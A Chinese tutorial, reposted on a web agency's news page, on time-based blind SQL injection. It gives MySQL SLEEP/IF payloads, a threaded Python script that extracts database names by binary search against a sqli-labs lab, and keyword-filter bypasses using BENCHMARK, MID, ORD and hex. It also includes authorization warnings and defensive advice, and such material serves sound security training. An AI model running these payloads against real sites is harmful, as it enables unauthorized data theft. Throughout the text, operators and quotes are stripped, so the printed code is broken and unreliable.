新闻详情

新闻详情

首页 / 资讯中心 / 详情

时间盲注原理与Python自动化脚本实战:从手工验证到提速容错

发布时间:2026/9/9 3:02:57来源:尧图网络
时间盲注原理与Python自动化脚本实战:从手工验证到提速容错
盲注这个东西做Web安全测试的人迟早都会遇到。很多时候你找到了一个疑似注入点但页面既不回显数据也不报错用UNION联合查询更是无从谈起——这个时候时间盲注就是唯一还能把数据从数据库里“撬”出来的手段。时间盲注的原理并不复杂利用数据库执行耗时操作的差异把“条件为真/假”翻译成“响应慢/快”然后再逐字符拼出敏感数据。很多人觉得它又慢又笨但在所有注入类型里它恰恰是最不容易被堵死的一条路径。这篇文章我会把时间盲注的底层原理、手工验证流程、Python自动化脚本设计还有我实际踩过的一些坑完整讲一遍。适合刚学完SQL注入基础、想深入盲注这块的人也适合那些脚本写出来但测得不准、总怀疑人生的人。1. SQL注入的几种形态为什么时间盲注是“最后的底牌”先看一个很常见的问题同样一个注入点为什么不同的人会给出完全不同的利用方式因为注入能不能利用、怎么利用取决于目标页面给了你多少“反馈信息”。一般我们把SQL注入利用分成四档注入类型观测载体前置条件典型判定方式UNION回显注入页面输出内容页面有显示位返回的行数和内容不同报错注入数据库报错信息错误信息回显到页面报错中包含敏感数据布尔盲注页面响应内容差异真/假响应可区分11返回A12返回B时间盲注服务器响应耗时能发出HTTP请求条件真则延迟假则快速返回前两种属于“看得见”的注入页面上直接把数据或报错吐出来利用起来效率最高。但实际测试中很多系统都会做统一异常处理所有SQL错误都返回同一个“请求出错”页面还有些业务场景注入点所在位置根本没有显示位UNION的结果无法呈现。这时候就退到盲注。布尔盲注的思路是构造“真/假”条件观察页面内容有没有变化。但问题来了如果目标页面无论条件真假输出的静态内容完全一样或者因为缓存、CDN、模板渲染机制导致你根本观测不到差异布尔盲注就会失效。时间盲注的核心优势在于**它不依赖页面输出也不依赖错误消息甚至不在乎页面内容长什么样。**只要HTTP请求能到达数据库SQL语句里的条件能被计算你能观测到返回耗时这条路就能走通。拿生活中的场景类比布尔盲注相当于你通过对方点头/摇头来猜答案但对方戴了面具你根本看不到表情时间盲注则相当于你问完问题后对方沉默3秒表示“是”立刻回答表示“否”——即使对方脸上一丝表情都没有只要你掐表就能收到答案。不过这个“底牌”的代价也很明显慢。一个字符可能要好几次请求一次请求要等好几秒十几位的库名全靠手工试心态会直接崩掉。所以时间盲注一旦确认可用下一步就是把它做成自动化脚本。这就是后面Python脚本要解决的事。2. 时间盲注的计时器SLEEP与IF的组合逻辑时间盲注的实现方式各数据库有各自的“造时差”函数。MySQL里最常用的是SLEEP(n)它的作用就是让查询强制暂停n秒。实际利用时不会傻乎乎直接SLEEP(3)因为这样无论条件真假都会延迟没法区分。必须让它“有选择地”延迟这就需要配合IF()条件函数。IF(condition, true_result, false_result)是三目运算逻辑如果condition为真返回第一个值否则返回第二个值。当SLEEP()嵌在IF()里就构成了时间盲注最基本的判定原语AND IF(ASCII(SUBSTRING(DATABASE(),1,1)) 100, SLEEP(3), 0)这条语句的完整执行流程是这样的数据库执行查询遇到AND IF(...)先取当前库名的第一位字符把它转成ASCII码和100做大小比较如果ASCII码大于100条件为真执行SLEEP(3)整个查询直接卡3秒如果ASCII码小于或等于100条件为假返回0查询立刻结束。发起请求的一方只需要掐表响应超过3秒说明刚才那个条件的判断结果是“真”响应很快说明“假”。这就是时间盲注的全部通信协议。为什么搞这么复杂不直接用LIKE a%或者a判断因为IF配合ASCII范围比较最大的好处是支持二分查找。一次请求就能把字符范围从95个可见ASCII字符缩小一半7次请求就能锁定一个字符。而逐字符穷举一个字符平均要试几十次时间成本完全不是一个量级。不同数据库的延时函数不一样。在SQLServer里对应的是WAITFOR DELAY 0:0:3PostgreSQL里是pg_sleep(3)Oracle里通常是DBMS_LOCK.SLEEP(3)。所以拿到一个注入点先确认数据库类型再去套对应的延时原语不然脚本写好了也白搭。还要特别注意一句SQL的实际形态很多盲注点都会被AND/OR优先级坑到。推荐直接用括号把IF()包起来并在最后用注释符把原始SQL的剩余部分截断。以MySQL为例?id1 AND IF(ASCII(SUBSTRING(DATABASE(),1,1))100, SLEEP(3), 0)-- -注意末尾的-- ---后面必须跟一个空格。很多新手就栽在这个空格上注释没生效SQL语法报错前端又看不到错误于是时间盲注失败还以为是SLEEP没生效。3. 手工验证时间盲注的一套标准动作不少人来问我写脚本前要不要手工先确认我的回答永远是**一定要而且顺序要严格。**直接上脚本最大的问题是一旦结果不对你不知道是目标没漏洞、脚本逻辑有bug还是网络波动捣乱。手工把链路打通脚本才有调试的基准。我在靶场上验证时间盲注基本按下面这套流程走第一步确认注入点存在。先用最笨的方式在参数后加单引号、加AND 11/AND 12观察页面有无差异。如果差异不明显没关系继续往下测时间盲注本身。第二步测试无条件延迟。在URL后面直接拼接AND SLEEP(3)连发三次每次看响应耗时是否明显超过正常值。第三步测试条件延迟。用IF(11,SLEEP(3),0)和IF(12,SLEEP(3),0)做对照。前者应该每次都延迟3秒左右后者应该和正常请求耗时基本一致。这个对照能确认IF()在当前环境中可以被正常执行。第四步猜长度。猜数据库名字的长度例如IF(LENGTH(DATABASE())4,SLEEP(3),0)如果延迟了说明库名就是4位。第五步猜字符。用SUBSTRING逐一拖取每个位置上的字符再用二分缩小范围。手工验证时我习惯做一张观测记录表方便对照请求条件预期耗时实测耗时是否符合预期正常请求约0.2s0.23s是AND SLEEP(3)约3.2s3.24s是IF(11,SLEEP(3),0)约3.2s3.18s是IF(12,SLEEP(3),0)约0.2s0.21s是IF(LENGTH(DATABASE())4,SLEEP(3),0)约3.2s3.15s是这里有几个观测上的坑必须说延迟基线要自己先测。不同站点、不同网络环境正常请求耗时差异很大。某些业务接口本身就慢秒级响应很正常这时3秒延迟可能没那么显眼。建议先统计正常请求的最小/平均耗时再决定SLEEP秒数。SLEEP时间不要设太短。1秒的延迟很容易被网络抖动淹没也容易被目标服务器本身的高延迟给掩盖掉。我自己习惯用3秒作为默认值既明显又不会把请求拖到超时。多测几次取稳定结果。一次延迟可能是网络问题连续三次以上稳定延迟才可信。手工上会很累但这恰恰是脚本里要做采样容错的动机。手工验证一旦通过整个时间盲注的“通信链路”就确认没毛病了。剩下的就是写一个机器人替你反复干这件事。4. Python脚本核心实现从请求测量到二分猜解写脚本之前先想清楚这个自动化工具到底要做什么拆解下来其实就三件事向目标发送一个带盲注条件的HTTP请求测量这个请求的响应时间根据响应时间判断条件真假并据此猜解字符。所以Python脚本不需要引入任何高深框架requests加标准库time就足够了。先实现最底层的判定函数。这个函数接收一个条件表达式比如ASCII(SUBSTRING(DATABASE(),1,1)) 100然后拼出完整的注入payload发送请求并测量耗时最终返回这个条件是真是假import requests import time BASE_URL http://127.0.0.1:8080/sqli-labs/Less-9/?id1{} CLOSE_CHAR THRESHOLD 2.5 SLEEP_SEC 3 HEADERS { User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 } session requests.Session() def judge(condition: str) - bool: payload f{CLOSE_CHAR} AND IF({condition}, SLEEP({SLEEP_SEC}), 0)-- - url BASE_URL.format(payload) start time.time() try: session.get(url, timeout10, headersHEADERS, verifyFalse) except requests.RequestException: return False return time.time() - start THRESHOLD几个设计点说一下用session.get而不是直接requests.get。Session会复用TCP连接减少三次握手的开销请求密集时能明显降低网络因素对耗时的干扰。timeout10必须大于SLEEP_SEC。如果timeout小于睡眠时间请求会直接抛出超时异常返回False所有条件都会被判成假脚本就彻底废了。verifyFalse是为了兼容某些自签名证书的靶场环境。实际使用如果遇上SSL警告可以配合urllib3.disable_warnings()把警告压掉。judge只负责判定“真/假”不关心具体是什么数据这是分层设计最舒服的地方。有了判定函数之后就可以写二分猜解函数。猜解单个字符的思路是用ASCII(SUBSTRING(expression,pos,1))取出某个位置的字符ASCII码值和中间值比较不断缩小范围直到锁定准确值def extract_char(expression: str, pos: int) - str: left, right 32, 126 while left right: mid (left right) // 2 cond fASCII(SUBSTRING(({expression}),{pos},1)) {mid} if judge(cond): left mid 1 else: right mid return chr(left)这个过程很像猜数字游戏你心里想一个1到100的数我每次问“比50大吗”你说“是”我就把范围缩到51到100再说“比75大吗”……最多7次就能锁定答案。整个盲注脚本的精髓就在这里大量减少了请求次数。然后再封装一个提取完整字符串的函数。先探测长度再逐位置取字符def extract_length(expression: str, max_len: int 255) - int: left, right 1, max_len while left right: mid (left right) // 2 if judge(fLENGTH({expression}) {mid}): left mid 1 else: right mid return left def extract_string(expression: str, max_len: int 255) - str: length extract_length(expression, max_len) result for pos in range(1, length 1): ch extract_char(expression, pos) result ch print(f[*] {expression} - {result}) return result if __name__ __main__: db_name extract_string(DATABASE()) print(f[] DATABASE {db_name})这个版本的提取逻辑我在sqli-labs的Less-9和Less-10上都跑通过。运行时把BASE_URL和CLOSE_CHAR换成自己的目标就行。注意CLOSE_CHAR不是定死的数字型注入点直接用空字符串单引号字符型用双引号字符型用括号闭合的还要额外补齐右括号加注释符。拿到一个注入点先看看到底是哪一种闭合再填配置。5. 提速与容错并发猜解、超时判定与WAF绕过的实战处理基础版脚本能用了但速度感人。数据库名假设10个字符每个字符要7次二分请求每次请求命中真条件时还要等3秒总共可能要跑300多秒。5分钟跑一个库名后面还有表名、列名、数据等到天荒地老。提速手段有几个层次按推荐顺序来。第一先确定目标数据的长度再并发按位置猜解。每个位置的字符猜解彼此独立天然适合多线程。用ThreadPoolExecutor每个线程负责一个位置把结果拼回字典再按位置排序组成完整字符串from concurrent.futures import ThreadPoolExecutor, as_completed def worker(pos: int) - tuple: return pos, extract_char(DATABASE(), pos) with ThreadPoolExecutor(max_workers8) as pool: futures [pool.submit(worker, pos) for pos in range(1, 10)] pos_map {} for future in as_completed(futures): pos, ch future.result() pos_map[pos] ch db_name .join(pos_map[i] for i in sorted(pos_map))实测下来线程数不是越大越好。我踩过并发太高导致目标服务直接超时挂掉的坑也遇到过因为请求过于密集被安全设备盯上的情况。自己的靶场可以开到8到10个线程做授权测试时建议控制在4到6个请求之间加一点小延时低调很多。第二多做几次采样把抖动滤掉。网络环境不是理想状态偶尔一次请求超时或者慢TCP就可能把一个“假”条件误判成“真”。最简单的容错方案是同一个条件重复测几次取中位数作为最终判断def judge_stable(condition: str, repeat: int 3) - bool: results [] for _ in range(repeat): results.append(judge(condition)) results.sort() return results[len(results) // 2] THRESHOLD如果某次请求异常慢3次采样中只有1次超阈值中位数会把这次异常顶掉如果真条件稳定延迟3次中至少有2次超阈值中位数依然能正确反映“真”。这在目标网络不稳定时非常管用代价是请求量翻倍一般只在关键条件上开启。第三遇到过滤时的等价替换思路。很多目标会简单过滤SLEEP、IF这些关键词直接拼SLEEP(3)可能被拦。常见处理思路是等价替换把SLEEP换成BENCHMARK(3000000, MD5(a))让数据库通过执行大量计算制造延迟把SUBSTRING换成MID或者LOCATE把ASCII换成ORD把引号内的字符串用十六进制表示避免触发引号过滤。具体用哪一种取决于你测出来的过滤规则长什么样。但这里必须强调所有绕过的前提是目标已经获得合法授权或是在自己的靶场里练习。这一点没有商量余地。还把THRESHOLD的设定单独说一句它最好像下面这样动态获取。先请求10次正常页面算平均响应时间再把阈值设为正常基线的1.5倍或加1秒如果目标本身响应就在1秒以上SLEEP时间也要相应调大。固定写成2.5秒在高速靶场网络里没问题但遇到一个本身就慢半拍的业务系统就会误判满天飞。6. 实测踩坑记录脚本调不通时的排查思路盲注脚本的问题通常不是写不出来而是写出来后死活测不对。这里把我遇到比较多的几个场景列出来每个都是真实踩过的坑。坑一闭合并没找对整个脚本返回全是False。这种情况最迷惑人因为脚本看起来没报错但就是猜不出任何字符。排查方法很简单先用Burp Suite手工发一个AND SLEEP(3)的请求看源码里到底是怎么闭合的。sqli-labs里Less-9是单引号字符型Less-10是双引号字符型Less-8是布尔型根本不支持时间盲注填错了配置就白跑。坑二请求里带单引号被转义导致payload失效。有些注入点本身存在于被转义的环境里比如PHP的addslashes或mysql_real_escape_string你拼进去的单引号会被加上反斜杠直接破坏SQL结构。这类场景的破解思路不是硬刚引号而是尽量让payload不依赖引号。猜解时不要写SUBSTRING(DATABASE(),1,1)a改成ASCII(SUBSTRING(DATABASE(),1,1))97这种纯数字对比就不需要引号了。这也是我极力推荐用ASCII二分法而不是直接比字符的另一个原因。坑三目标网络不稳定判断结果忽真忽假。症状是同一段脚本跑两遍结果不一样。处理办法前面已经提到过给它加采样取中位数。另外可以适当把SLEEP_SEC调大到4或5秒拉开真条件与正常响应的时间差距容错空间会大很多。坑四延迟函数不生效时间盲注测不出来。如果确认MySQL里SLEEP()确实被禁用了可以试试BENCHMARK。它通过重复执行一个表达式来消耗CPU制造延迟AND IF(ASCII(SUBSTRING(DATABASE(),1,1))100, BENCHMARK(3000000, MD5(a)), 0)BENCHMARK的延迟量跟CPU性能强相关不同机器延迟差异很大需要自己调校参数。如果目标数据库不是MySQL就要换WAITFOR DELAY或pg_sleep这都需要在写脚本前确认好。坑五猜出来的字符串出现乱码或中断。常见原因是目标数据库的字符集和ASCII范围对不上。比如实际数据可能是中文字符ascii范围32到126根本覆盖不到。这种情况要么用Unicode编码区间去猜要么先确认目标数据的格式。实战里多数的库名、表名、字段名还是以英文字母和下划线为主ASCII方案够用但如果猜数据内容很可能碰见中文字段值那就得调整猜解策略。坑六requests一直超时脚本抛异常。先检查timeout参数是不是大于SLEEP_SEC如果timeout设成了2SLEEP设成3那就没有成功可能。另外如果目标有HTTPS证书问题verifyFalse要记得加。再一个容易被忽略的是代理设置本地配了系统代理requests默认会走代理靶场请求被代理劫持后耗时就会异常。如果排查发现耗时波动大可以在Session里指定session.trust_env False绕开系统代理影响。每次调试时我习惯在脚本里加一个日志开关把每个位置、每次请求的原始URL和耗时都打出来。看到输出里某位字符的请求耗时一直不规律比蒙着头跑完整个库名再猜结果要高效太多了。最后说点防御相关的题外话。时间盲注能成立根本原因是后端把用户输入直接拼进了SQL语句。最有效的修复手段是全部改用参数化查询或预编译语句同时对数据库账号做最小权限控制——连接Web应用的账号不该有读所有库的能力。错误信息统一处理也很重要很多注入能够升级靠的就是报错信息泄露了数据库结构。作为安全测试人员写时间盲注脚本本身没毛病但必须把它用在靶场、CTF或拿到书面授权的项目上。未经授权对任何目标做注入测试都是越界行为这一点我在带新人时几乎每次都会强调。我在实际项目中养成了一个习惯不管自动化脚本多顺滑第一轮验证一定手工来确认数据库类型、闭合方式、延迟函数、过滤规则然后再跑脚本。因为脚本一旦跑起来你看到的就是一堆True和False如果方向从一开始就错了这些输出只会把你带进更深的坑。先把最笨的一条路走通再考虑优化和提速这个顺序能帮你省下大把的调试时间。
网站建设高端定制企业官网
RELATED

相关资讯

更多精彩内容,欢迎继续阅读

较早相关资讯

最新相关资讯

嵌入式开发中软硬件互相等的困局与破局实践 2026/9/9 3:42:03

嵌入式开发中软硬件互相等的困局与破局实践

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
树莓派Pico时间可靠方案:DS3231+RTC+NTP校时实战 2026/9/9 3:42:03

树莓派Pico时间可靠方案:DS3231+RTC+NTP校时实战

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →
机器人视觉传感器精讲:SLAM、双目相机、手势检测、AR/VR与仿生视觉 2026/9/9 3:42:03

机器人视觉传感器精讲:SLAM、双目相机、手势检测、AR/VR与仿生视觉

机器人视觉传感器精讲:SLAM、双目相机、手势检测、AR/VR 与仿生视觉,一次理清这次我们一次性把具身智能机器人里最常见的几类视觉传感器讲透:SLAM 视觉方案、双目相机、人体与手势检测、AR/VR 头显视觉,以及仿生视觉。很多人一上来…

阅读更多 →
机器人视觉传感器全解析:从SLAM到双目测距与手势识别 2026/9/9 3:42:03

机器人视觉传感器全解析:从SLAM到双目测距与手势识别

写这一篇的起因很简单:最近在整理具身智能机器人相关的技术方案时,发现很多同学会把“机器人视觉”简单等同于“装一个摄像头”,遇到 SLAM 建图、双目测距、手势识别这些需求时,往往不知道从哪个方向切入。网上的资料又比较零散&a…

阅读更多 →
数据安全与保密:系统分析师必备的全生命周期设计与实战避坑指南 2026/9/9 3:42:03

数据安全与保密:系统分析师必备的全生命周期设计与实战避坑指南

在系统分析师的知识体系里,数据安全与保密从来不是一个“可选项”,而是架构设计中最底层的硬约束。很多刚入行的朋友容易把数据安全简单理解为“装个防火墙”或者“数据加密一下”,但真正做过大型系统设计的人都知道,数据安全是一…

阅读更多 →
嵌入式测试实训平台:U盘启动+容器化+硬件抽象层 2026/9/9 3:38:59

嵌入式测试实训平台:U盘启动+容器化+硬件抽象层

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views …

阅读更多 →

今日资讯

本周资讯

本月资讯

看完文章仍有疑问?

联系尧图顾问,获取一对一建站咨询

立即免费咨询 📞 400-888-8888
📞